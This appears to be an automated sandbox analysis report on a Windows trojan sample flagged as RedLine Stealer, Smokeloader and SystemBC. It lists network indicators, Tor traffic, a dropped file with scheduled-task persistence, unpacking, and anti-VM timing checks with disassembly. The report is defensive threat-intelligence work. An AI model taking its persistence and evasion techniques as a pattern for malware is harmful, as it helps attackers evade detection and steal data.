Source: i1lq1Qpbyw.exe, 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, i1lq1Qpbyw.exe, 00000000.00000003.305913377.0000000000880000.00000004.00001000.00020000.00000000.sdmp, i1lq1Qpbyw.exe, 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/https://ip4.seeip.org/runasMicrosoft
Source: i1lq1Qpbyw.exe, i1lq1Qpbyw.exe, 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, i1lq1Qpbyw.exe, 00000000.00000003.305913377.0000000000880000.00000004.00001000.00020000.00000000.sdmp, i1lq1Qpbyw.exe, 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, llfujo.exe, llfujo.exe, 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ip4.seeip.org/
Source: llfujo.exe, 00000001.00000003.490135021.00000000008C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://quetzalcoatl-relays.org
Source: llfujo.exe, 00000001.00000003.490135021.00000000008C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://quetzalcoatl-relays.org/#support-us
Source: llfujo.exe, 00000001.00000003.391152671.0000000001330000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.392219387.00000000014A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.digidow.eu/onion-stats/

Source: unknown

DNS traffic detected: queries for: winstationsocks.com

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Code function: 0_2_00405F54 select,recv,

0_2_00405F54

Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: api.ipify.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: api.ipify.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 128.31.0.39User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/00c2b794f74b8759d26786ee363009c9c59088f5 HTTP/1.0Host: 62.35.195.87User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/0fb07690d64ce5c22b5175183c0e59678cdf7eab HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/03000eddfeb7db6a4171d09d2df028ada6b27dee HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/0fb07690d64ce5c22b5175183c0e59678cdf7eab HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/1efbaccd28a07fd6ad7aa6f1293177d71397e918 HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/0fb07690d64ce5c22b5175183c0e59678cdf7eab HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/1eff2704d19bf45305bbcca53e2b59a3d17a6ee3 HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/0fb07690d64ce5c22b5175183c0e59678cdf7eab HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/1f2077bf01caf23f819d4892a89883196aba842a HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/267ee437f0c28e8d0b5ddd5e0daeafc9bf0fe505 HTTP/1.0Host: 176.58.110.66User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/5756d9c403d89b79afe69d50bb0682ba318319fb HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/1efbaccd28a07fd6ad7aa6f1293177d71397e918 HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/1eff2704d19bf45305bbcca53e2b59a3d17a6ee3 HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/1f2077bf01caf23f819d4892a89883196aba842a HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/32361a1efdf684daedc8ca64843767a395f9eace HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/32364bef873944be481e8bcc7fae9297f5f39781 HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/3239007ce1fb2ecdfdf2067df23b949295dc5ef6 HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 131.188.40.189User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close

Source: unknown	HTTPS traffic detected: 64.185.227.155:443 -> 192.168.2.5:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.9.235.157:443 -> 192.168.2.5:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.76:443 -> 192.168.2.5:49737 version: TLS 1.2

Source: i1lq1Qpbyw.exe, 00000000.00000002.308217015.0000000000B0A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Code function: 0_2_00403BB4 CryptImportKey,CryptExportKey,CryptDestroyKey,

0_2_00403BB4

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000001.00000002.570272612.000000000091C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.308267503.0000000000B11000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: i1lq1Qpbyw.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000001.00000002.570272612.000000000091C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.308267503.0000000000B11000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

File created: C:\Windows\Tasks\llfujo.job

Jump to behavior

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00B11004		0_2_00B11004
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00B1126A		0_2_00B1126A

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: String function: 00406698 appears 31 times
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: String function: 00406788 appears 31 times

Source: i1lq1Qpbyw.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: llfujo.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: i1lq1Qpbyw.exe

Virustotal: Detection: 74%

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

File read: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Jump to behavior

Source: i1lq1Qpbyw.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\i1lq1Qpbyw.exe C:\Users\user\Desktop\i1lq1Qpbyw.exe
Source: unknown	Process created: C:\ProgramData\dtkttiw\llfujo.exe C:\ProgramData\dtkttiw\llfujo.exe start

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@2/3@6/14

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Code function: 0_2_00405708 CoInitialize,CoCreateInstance,CoUninitialize,

0_2_00405708

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Code function: 0_2_004057A9 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,FindCloseChangeNotification,

0_2_004057A9

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Mutant created: \Sessions\1\BaseNamedObjects\llfujo
Source: C:\ProgramData\dtkttiw\llfujo.exe	Mutant created: \BaseNamedObjects\llfujo

Source: i1lq1Qpbyw.exe	String found in binary or memory: ip-address
Source: llfujo.exe	String found in binary or memory: ip-address

Source: C:\ProgramData\dtkttiw\llfujo.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\dtkttiw\llfujo.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\dtkttiw\llfujo.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\dtkttiw\llfujo.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: i1lq1Qpbyw.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: ypt\tmp_1409393509\bin\woma.pdb source: i1lq1Qpbyw.exe, 00000000.00000003.306923173.0000000000B35000.00000004.00000020.00020000.00000000.sdmp, i1lq1Qpbyw.exe, 00000000.00000000.299650512.0000000000401000.00000020.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\tizuzucor12\lekudoyuxe_salo.pdb source: i1lq1Qpbyw.exe, 00000000.00000003.306923173.0000000000B35000.00000004.00000020.00020000.00000000.sdmp, i1lq1Qpbyw.exe, 00000000.00000000.299650512.0000000000401000.00000020.00000001.01000000.00000003.sdmp
Source:	Binary string: K\C:\tizuzucor12\lekudoyuxe_salo.pdbypt\tmp_1409393509\bin\woma.pdb source: i1lq1Qpbyw.exe, 00000000.00000003.306923173.0000000000B35000.00000004.00000020.00020000.00000000.sdmp, i1lq1Qpbyw.exe, 00000000.00000000.299650512.0000000000401000.00000020.00000001.01000000.00000003.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Unpacked PE file: 0.2.i1lq1Qpbyw.exe.400000.0.unpack
Source: C:\ProgramData\dtkttiw\llfujo.exe	Unpacked PE file: 1.2.llfujo.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Unpacked PE file: 0.2.i1lq1Qpbyw.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\ProgramData\dtkttiw\llfujo.exe	Unpacked PE file: 1.2.llfujo.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00B13ADA push ebx; ret	0_2_00B13AE4
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00B138CD pushad ; ret	0_2_00B138CF
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00B15858 push 80AC85B6h; retf	0_2_00B1585D

Source: initial sample	Static PE information: section name: .text entropy: 7.337350654748941
Source: initial sample	Static PE information: section name: .text entropy: 7.337350654748941

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

File created: C:\ProgramData\dtkttiw\llfujo.exe

Jump to dropped file

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

File created: C:\ProgramData\dtkttiw\llfujo.exe

Jump to dropped file

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

File created: C:\Windows\Tasks\llfujo.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 9131
Source: unknown	Network traffic detected: HTTP traffic on port 9131 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49736

May use the Tor software to hide its network traffic

Source: i1lq1Qpbyw.exe, i1lq1Qpbyw.exe, 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, i1lq1Qpbyw.exe, 00000000.00000003.305913377.0000000000880000.00000004.00001000.00020000.00000000.sdmp, i1lq1Qpbyw.exe, 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, llfujo.exe, llfujo.exe, 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp

Binary or memory string: onion-port

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\ProgramData\dtkttiw\llfujo.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_1-3162
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_0-5841
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_0-6769

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

RDTSC instruction interceptor: First address: 00000000004065B9 second address: 00000000004065B9 instructions: 0x00000000 rdtsc 0x00000002 push ebp 0x00000003 mov ebp, esp 0x00000005 push ebx 0x00000006 push ecx 0x00000007 push edx 0x00000008 push edi 0x00000009 push esi 0x0000000a imul eax, eax, 001E7319h 0x00000010 add eax, 3CFB5543h 0x00000015 rcr eax, 10h 0x00000018 add eax, ecx 0x0000001a test edx, edx 0x0000001c je 00007F610CC98215h 0x0000001e imul eax, edx 0x00000021 xor edx, edx 0x00000023 mul dword ptr [ebp+08h] 0x00000026 mov eax, edx 0x00000028 pop esi 0x00000029 pop edi 0x0000002a pop edx 0x0000002b pop ecx 0x0000002c pop ebx 0x0000002d leave 0x0000002e retn 0004h 0x00000031 lea ebx, dword ptr [eax+04h] 0x00000034 push 00000018h 0x00000036 call 00007F610CC9D6F1h 0x0000003b rdtsc

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-6969

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe TID: 4980

Thread sleep time: -60000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_0-6293

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Code function: 0_2_004065B9 rdtsc

0_2_004065B9

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_0-5858
Source: C:\ProgramData\dtkttiw\llfujo.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_1-3179

Source: C:\ProgramData\dtkttiw\llfujo.exe

API coverage: 7.5 %

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	API call chain: ExitProcess graph end node	graph_0-6775
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	API call chain: ExitProcess graph end node	graph_0-6852
Source: C:\ProgramData\dtkttiw\llfujo.exe	API call chain: ExitProcess graph end node	graph_1-3246
Source: C:\ProgramData\dtkttiw\llfujo.exe	API call chain: ExitProcess graph end node	graph_1-3167

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Code function: 0_2_004065B9 rdtsc

0_2_004065B9

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00401000 mov eax, dword ptr fs:[00000030h]	0_2_00401000
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00406698 mov eax, dword ptr fs:[00000030h]	0_2_00406698
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_0086092B mov eax, dword ptr fs:[00000030h]	0_2_0086092B
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_008668E8 mov eax, dword ptr fs:[00000030h]	0_2_008668E8
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00861250 mov eax, dword ptr fs:[00000030h]	0_2_00861250
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00860D90 mov eax, dword ptr fs:[00000030h]	0_2_00860D90
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00B11F8B push dword ptr fs:[00000030h]	0_2_00B11F8B
Source: C:\ProgramData\dtkttiw\llfujo.exe	Code function: 1_2_008668E8 mov eax, dword ptr fs:[00000030h]	1_2_008668E8
Source: C:\ProgramData\dtkttiw\llfujo.exe	Code function: 1_2_00861250 mov eax, dword ptr fs:[00000030h]	1_2_00861250
Source: C:\ProgramData\dtkttiw\llfujo.exe	Code function: 1_2_00860D90 mov eax, dword ptr fs:[00000030h]	1_2_00860D90
Source: C:\ProgramData\dtkttiw\llfujo.exe	Code function: 1_2_0086092B mov eax, dword ptr fs:[00000030h]	1_2_0086092B

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Code function: 0_2_00401000 EntryPoint,CreateThread,GetModuleFileNameA,ShellExecuteA,OpenMutexA,CreateMutexA,EnumWindows,Sleep,GetModuleFileNameA,CopyFileA,Sleep,ExitProcess,

0_2_00401000

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Code function: 0_2_004053B9 CoInitialize,CoCreateInstance,GetUserNameExW,GetLocalTime,SystemTimeToFileTime,FileTimeToSystemTime,CoUninitialize,

0_2_004053B9

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

Code function: 0_2_004053B9 CoInitialize,CoCreateInstance,GetUserNameExW,GetLocalTime,SystemTimeToFileTime,FileTimeToSystemTime,CoUninitialize,

0_2_004053B9

Source: i1lq1Qpbyw.exe, i1lq1Qpbyw.exe, 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, i1lq1Qpbyw.exe, 00000000.00000003.305913377.0000000000880000.00000004.00001000.00020000.00000000.sdmp, i1lq1Qpbyw.exe, 00000000.00000002.308267503.0000000000B11000.00000040.00000020.00020000.00000000.sdmp, i1lq1Qpbyw.exe, 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, llfujo.exe, llfujo.exe, 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp

Binary or memory string: a2guard.exe

Stealing of Sensitive Information

Yara detected SystemBC

Source: Yara match

File source: Process Memory Space: i1lq1Qpbyw.exe PID: 1716, type: MEMORYSTR

Remote Access Functionality

Yara detected SystemBC

Source: Yara match

File source: Process Memory Space: i1lq1Qpbyw.exe PID: 1716, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
